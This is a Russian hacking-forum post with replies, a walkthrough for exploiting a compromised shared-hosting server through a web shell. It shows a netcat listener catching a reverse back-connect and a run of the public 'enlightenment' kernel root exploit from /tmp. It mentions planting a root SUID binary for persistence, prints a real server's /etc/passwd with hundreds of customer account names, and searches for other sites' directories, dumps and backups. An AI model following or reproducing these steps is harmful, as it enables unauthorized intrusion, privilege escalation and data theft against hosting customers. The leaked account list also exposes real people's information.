Работа с шеллами

Тема в разделе "Статьи", создана пользователем Centr, 1 июн 2015.

  1. TopicStarter Overlay
    Centr

    Centr Команда форума

    Ну получив шелл , нам в первую очередь надо попытатся получить рута.

    1.Скачиваем софтину NetCat , она позволяет сделать бекконнкт на сервер.

    Запускаем netcat

    В консоль вводим -vv -l -p [порт]

    Таким образом мы слушаем данный порт на входящие соединнения.

    На шелле заходим в раздел Network , Back-connect
    [perl]Server: ваш внешний IP , Port: порт который мы слушаем с помощью Netcat

    Теперь переходим в консоль NC

    Давайте посмотрим в каких мы группах состоим:
    PHP:
    $id uid=10988891(d7db0211gid=100450(inetusergroups=100450(inetuser)
    Теперь смотрим версию ядра

    PHP:
    $uname -a Linux p3nlhg512.shr.prod.phx3.secureserver.net 2.6.32-358.6.1.el6.cve20132094.x86_64 #1 SMP Tue May 14 15:27:28 CDT 2013 x86_64 x86_64 x86_64 GNU/Linux
    Ядро патченое , сомневаюсь что паблик сплоитами мы получим тут рута.
    Давайте попробуем заюзать эксплоит enlightenment
    По дефолту на сервере открыта папка tmp в кореневом каталоге , так что все действия будем проводить там.
    $cd /tmp
    Разархивируем:
    PHP:
    $tar -zxf enlightenment.tgz 
    $cd enlightenment 
    Юзаем сам сплоит 
    $sh run_nonnull_exploits
    .sh
    Выбираем нужный сплоит и ждем результата.

    На патченых ядрах маловероятно что получится , а вот на старых все возможно.

    При получении рута , что бы не юзать постоянно сплоит , мы просто компилим суидник и пускаем корни на сервере дав суиднику права рута.
    Но это отдельная история.

    Не получив права , не растраивайтесь , возможно на сервере не правильно раставлены права и мы можем получить доступ к другим сайтам.

    Давайте посмотрим кто еще осел на данном хостинге:
    PHP:
    cat /etc/passwd
    Получили список пользователей сего сервера.
    PHP:
    thre8409:*:10824176:100450:thre8409:/home/content/76/10824176:/sbin/nologin 
    insightlogin2
    :*:7697882:100450:insightlogin2:/home/content/82/7697882:/sbin/nologin 
    lush5896
    :*:9382994:100450:lush5896:/home/content/94/9382994:/sbin/nologin 
    brok2530
    :*:7683042:100450:brok2530:/home/content/42/7683042:/sbin/nologin 
    oddmoxie
    :*:7685845:100450:oddmoxie:/home/content/45/7685845:/sbin/nologin 
    joannatiger
    :*:7784091:100450:joannatiger:/home/content/91/7784091:/sbin/nologin 
    whol6356
    :*:8128410:100450:whol6356:/home/content/10/8128410:/sbin/nologin 
    dori5202
    :*:7652836:100450:dori5202:/home/content/36/7652836:/sbin/nologin 
    coo96278
    :*:8952975:100450:coo96278:/home/content/75/8952975:/sbin/nologin 
    slacklace5200
    :*:9177258:100450:slacklace5200:/home/content/58/9177258:/sbin/nologin 
    cryi2378
    :*:9643512:100450:cryi2378:/home/content/12/9643512:/sbin/nologin 
    nati6884
    :*:9206222:100450:nati6884:/home/content/22/9206222:/sbin/nologin 
    atty6125
    :*:9565056:100450:atty6125:/home/content/56/9565056:/sbin/nologin 
    usab6532
    :*:9809562:100450:usab6532:/home/content/62/9809562:/sbin/nologin 
    d9jones
    :*:4591602:100450:d9jones:/home/content/02/4591602:/sbin/nologin 
    mcns2012
    :*:9257295:100450:mcns2012:/home/content/95/9257295:/sbin/nologin 
    intr8m3dia
    :*:4743194:100450:intr8m3dia:/home/content/94/4743194:/sbin/nologin 
    sist7695
    :*:7671917:100450:sist7695:/home/content/17/7671917:/sbin/nologin 
    otellez
    :*:7684606:100450:otellez:/home/content/06/7684606:/sbin/nologin 
    goodluck9
    :*:9169533:100450:goodluck9:/home/content/33/9169533:/sbin/nologin 
    h2fr4398
    :*:7644555:100450:h2fr4398:/home/content/55/7644555:/sbin/nologin 
    numberonespeed
    :*:9162531:100450:numberonespeed:/home/content/31/9162531:/sbin/nologin 
    expr1103
    :*:7673963:100450:expr1103:/home/content/63/7673963:/sbin/nologin 
    sico5493
    :*:8819353:100450:sico5493:/home/content/53/8819353:/sbin/nologin 
    harahealth
    :*:4094882:100450:harahealth:/home/content/82/4094882:/sbin/nologin 
    bava5374
    :*:9565043:100450:bava5374:/home/content/43/9565043:/sbin/nologin 
    wood7927
    :*:10276877:100450:wood7927:/home/content/77/10276877:/sbin/nologin 
    rezt3863
    :*:10256652:100450:rezt3863:/home/content/52/10256652:/sbin/nologin 
    itistime
    :*:7641515:100450:itistime:/home/content/15/7641515:/sbin/nologin 
    timskiller1211
    :*:8723174:100450:timskiller1211:/home/content/74/8723174:/sbin/nologin 
    h2oxpwebmaster
    :*:8831137:100450:h2oxpwebmaster:/home/content/37/8831137:/sbin/nologin 
    mtnv7678
    :*:8400287:100450:mtnv7678:/home/content/87/8400287:/sbin/nologin 
    cobb3922
    :*:7689634:100450:cobb3922:/home/content/34/7689634:/sbin/nologin 
    mart0347
    :*:7696783:100450:mart0347:/home/content/83/7696783:/sbin/nologin 
    land1457
    :*:8118792:100450:land1457:/home/content/92/8118792:/sbin/nologin 
    c45e9407
    :*:10944447:100450:c45e9407:/home/content/47/10944447:/sbin/nologin 
    reac0244
    :*:9220161:100450:reac0244:/home/content/61/9220161:/sbin/nologin 
    summ7752
    :*:7670309:100450:summ7752:/home/content/09/7670309:/sbin/nologin 
    ysbsjc
    :*:8771214:100450:ysbsjc:/home/content/14/8771214:/sbin/nologin 
    smil1953
    :*:7662186:100450:smil1953:/home/content/86/7662186:/sbin/nologin 
    lazz8493
    :*:9240025:100450:lazz8493:/home/content/25/9240025:/sbin/nologin 
    eacypaa
    :*:9260201:100450:eacypaa:/home/content/01/9260201:/sbin/nologin 
    roun6507
    :*:10799235:100450:roun6507:/home/content/35/10799235:/sbin/nologin 
    lynn0003
    :*:7686225:100450:lynn0003:/home/content/25/7686225:/sbin/nologin 
    mark123
    :*:7688925:100450:mark123:/home/content/25/7688925:/sbin/nologin 
    darco5707564
    :*:10208887:100450:darco5707564:/home/content/87/10208887:/sbin/nologin 
    eata7059
    :*:7708639:100450:eata7059:/home/content/39/7708639:/sbin/nologin 
    duncanlauder
    :*:4869257:100450:duncanlauder:/home/content/57/4869257:/sbin/nologin 
    formemedspa
    :*:7685364:100450:formemedspa:/home/content/64/7685364:/sbin/nologin 
    epif545454
    :*:7566761:100450:epif545454:/home/content/61/7566761:/sbin/nologin 
    uber3940
    :*:9117520:100450:uber3940:/home/content/20/9117520:/sbin/nologin 
    came4682
    :*:8623166:100450:came4682:/home/content/66/8623166:/sbin/nologin 
    beli5799
    :*:7606872:100450:beli5799:/home/content/72/7606872:/sbin/nologin 
    crock1234
    :*:4723886:100450:crock1234:/home/content/86/4723886:/sbin/nologin 
    tomwklau
    :*:7688450:100450:tomwklau:/home/content/50/7688450:/sbin/nologin 
    affe1930
    :*:10964492:100450:affe1930:/home/content/92/10964492:/sbin/nologin 
    brit0864
    :*:7652216:100450:brit0864:/home/content/16/7652216:/sbin/nologin 
    mrsc7106
    :*:10871535:100450:mrsc7106:/home/content/35/10871535:/sbin/nologin 
    w5l2g15k2fp
    :*:10798635:100450:w5l2g15k2fp:/home/content/35/10798635:/sbin/nologin 
    thec9916
    :*:7702675:100450:thec9916:/home/content/75/7702675:/sbin/nologin 
    tabl2286
    :*:7665715:100450:tabl2286:/home/content/15/7665715:/sbin/nologin 
    b9e20988
    :*:10979225:100450:b9e20988:/home/content/25/10979225:/sbin/nologin 
    dianeficalora
    :*:7704636:100450:dianeficalora:/home/content/36/7704636:/sbin/nologin 
    chic3649
    :*:8243054:100450:chic3649:/home/content/54/8243054:/sbin/nologin 
    concepcionjf
    :*:7655932:100450:concepcionjf:/home/content/32/7655932:/sbin/nologin 
    d7180518
    :*:10472400:100450:d7180518:/home/content/00/10472400:/sbin/nologin 
    b2b49621
    :*:11006701:100450:b2b49621:/home/content/01/11006701:/sbin/nologin 
    ndrealestate
    :*:9694922:100450:ndrealestate:/home/content/22/9694922:/sbin/nologin 
    raceiq1963
    :*:7685606:100450:raceiq1963:/home/content/06/7685606:/sbin/nologin 
    roya1464
    :*:7645806:100450:roya1464:/home/content/06/7645806:/sbin/nologin 
    lava1572
    :*:7704271:100450:lava1572:/home/content/71/7704271:/sbin/nologin 
    bogamill310
    :*:7738863:100450:bogamill310:/home/content/63/7738863:/sbin/nologin 
    lkstudios
    :*:9263571:100450:lkstudios:/home/content/71/9263571:/sbin/nologin 
    andr3123
    :*:7698270:100450:andr3123:/home/content/70/7698270:/sbin/nologin 
    aacbnews
    :*:10988851:100450:aacbnews:/home/content/51/10988851:/sbin/nologin 
    a7e70641
    :*:11090678:100450:a7e70641:/home/content/78/11090678:/sbin/nologin 
    amer9927
    :*:7704293:100450:amer9927:/home/content/93/7704293:/sbin/nologin 
    able0570
    :*:8171399:100450:able0570:/home/content/99/8171399:/sbin/nologin 
    aviationar
    :*:8377554:100450:aviationar:/home/content/54/8377554:/sbin/nologin 
    deonas1
    :*:8583503:100450:deonas1:/home/content/03/8583503:/sbin/nologin 
    pksracing
    :*:7677351:100450:pksracing:/home/content/51/7677351:/sbin/nologin 
    fopoint12
    :*:5521300:100450:fopoint12:/home/content/00/5521300:/sbin/nologin 
    ener5473
    :*:9290128:100450:ener5473:/home/content/28/9290128:/sbin/nologin 
    n7026445
    :*:11101669:100450:n7026445:/home/content/69/11101669:/sbin/nologin 
    adve1896
    :*:7667711:100450:adve1896:/home/content/11/7667711:/sbin/nologin 
    b8844912
    :*:10964490:100450:b8844912:/home/content/90/10964490:/sbin/nologin 
    idug2781
    :*:8012419:100450:idug2781:/home/content/19/8012419:/sbin/nologin 
    bigb1800
    :*:7703589:100450:bigb1800:/home/content/89/7703589:/sbin/nologin 
    amosten93
    :*:10006463:100450:amosten93:/home/content/63/10006463:/sbin/nologin 
    c3522323
    :*:10944302:100450:c3522323:/home/content/02/10944302:/sbin/nologin 
    depl1404
    :*:7693979:100450:depl1404:/home/content/79/7693979:/sbin/nologin 
    recy9292
    :*:10821159:100450:recy9292:/home/content/59/10821159:/sbin/nologin 
    gwmb7279
    :*:10917955:100450:gwmb7279:/home/content/55/10917955:/sbin/nologin 
    zach7530
    :*:7703096:100450:zach7530:/home/content/96/7703096:/sbin/nologin 
    twtrpodcast
    :*:7689505:100450:twtrpodcast:/home/content/05/7689505:/sbin/nologin 
    wern4586
    :*:7697304:100450:wern4586:/home/content/04/7697304:/sbin/nologin 
    vikramhegde70
    :*:7694008:100450:vikramhegde70:/home/content/08/7694008:/sbin/nologin 
    jarheads1
    :*:8275530:100450:jarheads1:/home/content/30/8275530:/sbin/nologin 
    kevi0048
    :*:7679739:100450:kevi0048:/home/content/39/7679739:/sbin/nologin 
    systembase
    :*:9858519:100450:systembase:/home/content/19/9858519:/sbin/nologin 
    easy6318
    :*:10824021:100450:easy6318:/home/content/21/10824021:/sbin/nologin 
    conwny
    :*:7658215:100450:conwny:/home/content/15/7658215:/sbin/nologin 
    mulhall
    :*:7678941:100450:mulhall:/home/content/41/7678941:/sbin/nologin 
    bde45069
    :*:11165707:100450:bde45069:/home/content/07/11165707:/sbin/nologin 
    bjoyal
    :*:7705968:100450:bjoyal:/home/content/68/7705968:/sbin/nologin 
    poly1827
    :*:9930618:100450:poly1827:/home/content/18/9930618:/sbin/nologin 
    ryte7196
    :*:8593172:100450:ryte7196:/home/content/72/8593172:/sbin/nologin 
    matt0814
    :*:7688121:100450:matt0814:/home/content/21/7688121:/sbin/nologin 
    fren1591
    :*:7677313:100450:fren1591:/home/content/13/7677313:/sbin/nologin 
    moon9227
    :*:7671242:100450:moon9227:/home/content/42/7671242:/sbin/nologin 
    admin532
    :*:2050163:100450:admin532:/home/content/63/2050163:/sbin/nologin 
    feno8900
    :*:7924137:100450:feno8900:/home/content/37/7924137:/sbin/nologin 
    drfi2185
    :*:7653201:100450:drfi2185:/home/content/01/7653201:/sbin/nologin 
    ascentent
    :*:7672380:100450:ascentent:/home/content/80/7672380:/sbin/nologin 
    waterworksg
    :*:8529436:100450:waterworksg:/home/content/36/8529436:/sbin/nologin 
    drin9145
    :*:7598107:100450:drin9145:/home/content/07/7598107:/sbin/nologin 
    fusi7102
    :*:7649027:100450:fusi7102:/home/content/27/7649027:/sbin/nologin 
    timzhou1
    :*:7651597:100450:timzhou1:/home/content/97/7651597:/sbin/nologin 
    southbaygenera
    :*:7698694:100450:southbaygenera:/home/content/94/7698694:/sbin/nologin 
    o0224105
    :*:10964531:100450:o0224105:/home/content/31/10964531:/sbin/nologin 
    massreferral2
    :*:9565045:100450:massreferral2:/home/content/45/9565045:/sbin/nologin 
    ecbc2011
    :*:7659072:100450:ecbc2011:/home/content/72/7659072:/sbin/nologin 
    edmarmarlow
    :*:9802524:100450:edmarmarlow:/home/content/24/9802524:/sbin/nologin 
    goeska
    :*:10265790:100450:goeska:/home/content/90/10265790:/sbin/nologin 
    bandl
    :*:7646307:100450:bandl:/home/content/07/7646307:/sbin/nologin 
    rico2214
    :*:7679189:100450:rico2214:/home/content/89/7679189:/sbin/nologin 
    auto6648
    :*:7690254:100450:auto6648:/home/content/54/7690254:/sbin/nologin 
    dent4513
    :*:9362457:100450:dent4513:/home/content/57/9362457:/sbin/nologin 
    yuvaldavid
    :*:9152286:100450:yuvaldavid:/home/content/86/9152286:/sbin/nologin 
    pers2008
    :*:7707951:100450:pers2008:/home/content/51/7707951:/sbin/nologin 
    kldestatt
    :*:7690074:100450:kldestatt:/home/content/74/7690074:/sbin/nologin 
    ccvcc297
    :*:8961751:100450:ccvcc297:/home/content/51/8961751:/sbin/nologin 
    kova3
    :*:7702121:100450:kova3:/home/content/21/7702121:/sbin/nologin 
    rpmlmn
    :*:9527149:100450:rpmlmn:/home/content/49/9527149:/sbin/nologin 
    blog0286
    :*:9162481:100450:blog0286:/home/content/81/9162481:/sbin/nologin 
    mica3464
    :*:9208914:100450:mica3464:/home/content/14/9208914:/sbin/nologin 
    mtnc123
    :*:4141837:100450:mtnc123:/home/content/37/4141837:/sbin/nologin 
    brai4344
    :*:7652740:100450:brai4344:/home/content/40/7652740:/sbin/nologin 
    kath5111
    :*:7702997:100450:kath5111:/home/content/97/7702997:/sbin/nologin 
    philnorris
    :*:11056069:100450:philnorris:/home/content/69/11056069:/sbin/nologin 
    jinc7965
    :*:8269120:100450:jinc7965:/home/content/20/8269120:/sbin/nologin 
    eska4345
    :*:7657609:100450:eska4345:/home/content/09/7657609:/sbin/nologin 
    altm1
    :*:7679973:100450:altm1:/home/content/73/7679973:/sbin/nologin 
    mschrader
    :*:8623148:100450:mschrader:/home/content/48/8623148:/sbin/nologin 
    n7e77149
    :*:10899307:100450:n7e77149:/home/content/07/10899307:/sbin/nologin 
    your7622
    :*:8265326:100450:your7622:/home/content/26/8265326:/sbin/nologin 
    mehrshahr
    :*:7693759:100450:mehrshahr:/home/content/59/7693759:/sbin/nologin 
    comm8000
    :*:7659640:100450:comm8000:/home/content/40/7659640:/sbin/nologin 
    kdfish0809
    :*:7670030:100450:kdfish0809:/home/content/30/7670030:/sbin/nologin 
    loui5894
    :*:10323189:100450:loui5894:/home/content/89/10323189:/sbin/nologin 
    expo5792
    :*:7643720:100450:expo5792:/home/content/20/7643720:/sbin/nologin 
    tele4u
    :*:7707075:100450:tele4u:/home/content/75/7707075:/sbin/nologin 
    supp0015
    :*:7666103:100450:supp0015:/home/content/03/7666103:/sbin/nologin 
    info1008
    :*:10913262:100450:info1008:/home/content/62/10913262:/sbin/nologin 
    kath0806
    :*:9228192:100450:kath0806:/home/content/92/9228192:/sbin/nologin 
    denn4863
    :*:8883105:100450:denn4863:/home/content/05/8883105:/sbin/nologin 
    gparaud
    :*:7676960:100450:gparaud:/home/content/60/7676960:/sbin/nologin 
    devt4998
    :*:9050362:100450:devt4998:/home/content/62/9050362:/sbin/nologin 
    enc0ntr0l
    :*:10820797:100450:enc0ntr0l:/home/content/97/10820797:/sbin/nologin 
    venetiancat
    :*:7659693:100450:venetiancat:/home/content/93/7659693:/sbin/nologin 
    mulcahyt
    :*:8119647:100450:mulcahyt:/home/content/47/8119647:/sbin/nologin 
    scar3607
    :*:7707773:100450:scar3607:/home/content/73/7707773:/sbin/nologin 
    perf4562
    :*:7703419:100450:perf4562:/home/content/19/7703419:/sbin/nologin 
    annf0360
    :*:9278470:100450:annf0360:/home/content/70/9278470:/sbin/nologin 
    summeyproofs
    :*:10478816:100450:summeyproofs:/home/content/16/10478816:/sbin/nologin 
    mrbusha
    :*:7685782:100450:mrbusha:/home/content/82/7685782:/sbin/nologin 
    morg2859
    :*:9830363:100450:morg2859:/home/content/63/9830363:/sbin/nologin 
    para8522
    :*:8270549:100450:para8522:/home/content/49/8270549:/sbin/nologin 
    medi3552
    :*:7441089:100450:medi3552:/home/content/89/7441089:/sbin/nologin 
    mtmanvan
    :*:7660279:100450:mtmanvan:/home/content/79/7660279:/sbin/nologin 
    afri9671
    :*:10866088:100450:afri9671:/home/content/88/10866088:/sbin/nologin 
    cote0968
    :*:7690698:100450:cote0968:/home/content/98/7690698:/sbin/nologin 
    hast9275
    :*:7841589:100450:hast9275:/home/content/89/7841589:/sbin/nologin 
    wher4479
    :*:9527168:100450:wher4479:/home/content/68/9527168:/sbin/nologin 
    k1783675
    :*:10943037:100450:k1783675:/home/content/37/10943037:/sbin/nologin 
    hvac6734
    :*:7647427:100450:hvac6734:/home/content/27/7647427:/sbin/nologin 
    appa6763
    :*:7699980:100450:appa6763:/home/content/80/7699980:/sbin/nologin 
    lgartsport
    :*:7774137:100450:lgartsport:/home/content/37/7774137:/sbin/nologin 
    envi2241
    :*:10324208:100450:envi2241:/home/content/08/10324208:/sbin/nologin 
    roma0433
    :*:7666528:100450:roma0433:/home/content/28/7666528:/sbin/nologin 
    h1b65421
    :*:11006608:100450:h1b65421:/home/content/08/11006608:/sbin/nologin 
    mya9239
    :*:8296877:100450:mya9239:/home/content/77/8296877:/sbin/nologin 
    clos5572
    :*:7859769:100450:clos5572:/home/content/69/7859769:/sbin/nologin 
    hisw2202
    :*:9220100:100450:hisw2202:/home/content/00/9220100:/sbin/nologin 
    quinta001
    :*:7659587:100450:quinta001:/home/content/87/7659587:/sbin/nologin 
    boss2405
    :*:10213543:100450:boss2405:/home/content/43/10213543:/sbin/nologin 
    cc331332
    :*:11197250:100450:cc331332:/home/content/50/11197250:/sbin/nologin 
    plan8707
    :*:9679960:100450:plan8707:/home/content/60/9679960:/sbin/nologin 
    accu8430
    :*:7642424:100450:accu8430:/home/content/24/7642424:/sbin/nologin 
    shop5619
    :*:7672013:100450:shop5619:/home/content/13/7672013:/sbin/nologin 
    myde0273
    :*:10974327:100450:myde0273:/home/content/27/10974327:/sbin/nologin 
    theh9495
    :*:9260209:100450:theh9495:/home/content/09/9260209:/sbin/nologin 
    luisduarte
    :*:7709127:100450:luisduarte:/home/content/27/7709127:/sbin/nologin 
    lang4776
    :*:7697782:100450:lang4776:/home/content/82/7697782:/sbin/nologin 
    anyw2165
    :*:7640189:100450:anyw2165:/home/content/89/7640189:/sbin/nologin 
    luvp3584
    :*:10820476:100450:luvp3584:/home/content/76/10820476:/sbin/nologin 
    hottbodz
    :*:8283795:100450:hottbodz:/home/content/95/8283795:/sbin/nologin 
    jobsingreen
    :*:7737105:100450:jobsingreen:/home/content/05/7737105:/sbin/nologin 
    peachplum
    :*:8849514:100450:peachplum:/home/content/14/8849514:/sbin/nologin 
    trumpetsolo
    :*:7664431:100450:trumpetsolo:/home/content/31/7664431:/sbin/nologin 
    acih2513
    :*:7673031:100450:acih2513:/home/content/31/7673031:/sbin/nologin 
    mika2899
    :*:10019715:100450:mika2899:/home/content/15/10019715:/sbin/nologin 
    jacktung
    :*:7429844:100450:jacktung:/home/content/44/7429844:/sbin/nologin 
    ambiopharma
    :*:3578928:100450:ambiopharma:/home/content/28/3578928:/sbin/nologin 
    i30d2011
    :*:7616118:100450:i30d2011:/home/content/18/7616118:/sbin/nologin 
    jeru5951
    :*:7664168:100450:jeru5951:/home/content/68/7664168:/sbin/nologin 
    jeanteddy123
    :*:7656525:100450:jeanteddy123:/home/content/25/7656525:/sbin/nologin 
    bobp3285
    :*:7659257:100450:bobp3285:/home/content/57/7659257:/sbin/nologin 
    jodrea821
    :*:9924228:100450:jodrea821:/home/content/28/9924228:/sbin/nologin 
    natu9544
    :*:7675081:100450:natu9544:/home/content/81/7675081:/sbin/nologin 
    webb9741
    :*:9363204:100450:webb9741:/home/content/04/9363204:/sbin/nologin 
    shaw2631
    :*:7668666:100450:shaw2631:/home/content/66/7668666:/sbin/nologin 
    ston9433
    :*:7702690:100450:ston9433:/home/content/90/7702690:/sbin/nologin 
    chiz4549
    :*:10825819:100450:chiz4549:/home/content/19/10825819:/sbin/nologin 
    vbar9300
    :*:9257196:100450:vbar9300:/home/content/96/9257196:/sbin/nologin 
    prod5002
    :*:7709441:100450:prod5002:/home/content/41/7709441:/sbin/nologin 
    l73e2021
    :*:10472315:100450:l73e2021:/home/content/15/10472315:/sbin/nologin 
    crimescene1
    :*:7668923:100450:crimescene1:/home/content/23/7668923:/sbin/nologin 
    b2df4205
    :*:10956267:100450:b2df4205:/home/content/67/10956267:/sbin/nologin 
    juliangarcia2
    :*:7676636:100450:juliangarcia2:/home/content/36/7676636:/sbin/nologin 
    ddst0102
    :*:7648150:100450:ddst0102:/home/content/50/7648150:/sbin/nologin 
    drewbeexp
    :*:7701502:100450:drewbeexp:/home/content/02/7701502:/sbin/nologin 
    cuto3560
    :*:9047184:100450:cuto3560:/home/content/84/9047184:/sbin/nologin 
    g4ce6143
    :*:10776888:100450:g4ce6143:/home/content/88/10776888:/sbin/nologin 
    splendorftp
    :*:7689084:100450:splendorftp:/home/content/84/7689084:/sbin/nologin 
    succ7614
    :*:8441405:100450:succ7614:/home/content/05/8441405:/sbin/nologin 
    marcotrade
    :*:9788569:100450:marcotrade:/home/content/69/9788569:/sbin/nologin 
    inee7593
    :*:10185984:100450:inee7593:/home/content/84/10185984:/sbin/nologin 
    cruz5546
    :*:7791364:100450:cruz5546:/home/content/64/7791364:/sbin/nologin 
    inte4419
    :*:9363189:100450:inte4419:/home/content/89/9363189:/sbin/nologin 
    phnsandbox
    :*:9739951:100450:phnsandbox:/home/content/51/9739951:/sbin/nologin 
    ones0078
    :*:8881753:100450:ones0078:/home/content/53/8881753:/sbin/nologin 
    gabriel1991
    :*:9364699:100450:gabriel1991:/home/content/99/9364699:/sbin/nologin 
    gall0795
    :*:7656602:100450:gall0795:/home/content/02/7656602:/sbin/nologin 
    life2673
    :*:7643253:100450:life2673:/home/content/53/7643253:/sbin/nologin 
    mich6167
    :*:7685501:100450:mich6167:/home/content/01/7685501:/sbin/nologin 
    phre4815
    :*:9802534:100450:phre4815:/home/content/34/9802534:/sbin/nologin 
    judi0614
    :*:7677932:100450:judi0614:/home/content/32/7677932:/sbin/nologin 
    jand7720
    :*:7947353:100450:jand7720:/home/content/53/7947353:/sbin/nologin 
    a1495650
    :*:10943102:100450:a1495650:/home/content/02/10943102:/sbin/nologin 
    boo396
    :*:7656381:100450:boo396:/home/content/81/7656381:/sbin/nologin 
    thez4501
    :*:10295856:100450:thez4501:/home/content/56/10295856:/sbin/nologin 
    csemusicgroup
    :*:7652013:100450:csemusicgroup:/home/content/13/7652013:/sbin/nologin 
    deca5143
    :*:7687569:100450:deca5143:/home/content/69/7687569:/sbin/nologin 
    hand6972
    :*:7666049:100450:hand6972:/home/content/49/7666049:/sbin/nologin 
    silentd
    :*:7699637:100450:silentd:/home/content/37/7699637:/sbin/nologin 
    kust7212
    :*:10193840:100450:kust7212:/home/content/40/10193840:/sbin/nologin 
    cart4849
    :*:8456084:100450:cart4849:/home/content/84/8456084:/sbin/nologin 
    lilbookchomp
    :*:7709945:100450:lilbookchomp:/home/content/45/7709945:/sbin/nologin 
    rcb054
    :*:9263495:100450:rcb054:/home/content/95/9263495:/sbin/nologin 
    g82c8657
    :*:10758048:100450:g82c8657:/home/content/48/10758048:/sbin/nologin 
    coun8883
    :*:9108389:100450:coun8883:/home/content/89/9108389:/sbin/nologin
    Давайте попробуем зайти в дериктории сайтов других пользователей

    PHP:
    ls -la /home/content/33/11410133/html2>&
    ls
    cannot access /home/content/33/11410133/html/: Permission denied
    Что ж , не пускает нас и сюда.

    Давайте попробуем найти дампы пользователей , малоли...

    PHP:
    $find . -type f -name dump 
    $locate dump 
    $locate backup
    Но и тут безрезультатно. Проверка сервера закончена.
     
  2. Шеллы сила!
     
  3. А владельцы сайтов их то как любят)))
     
  4. На шеллах можно нормально поднятся, но будьте осторожны…
     
  5. Научите грамотно по шеллам двигаться. Сам чет не догоняю((
     

Поделиться этой страницей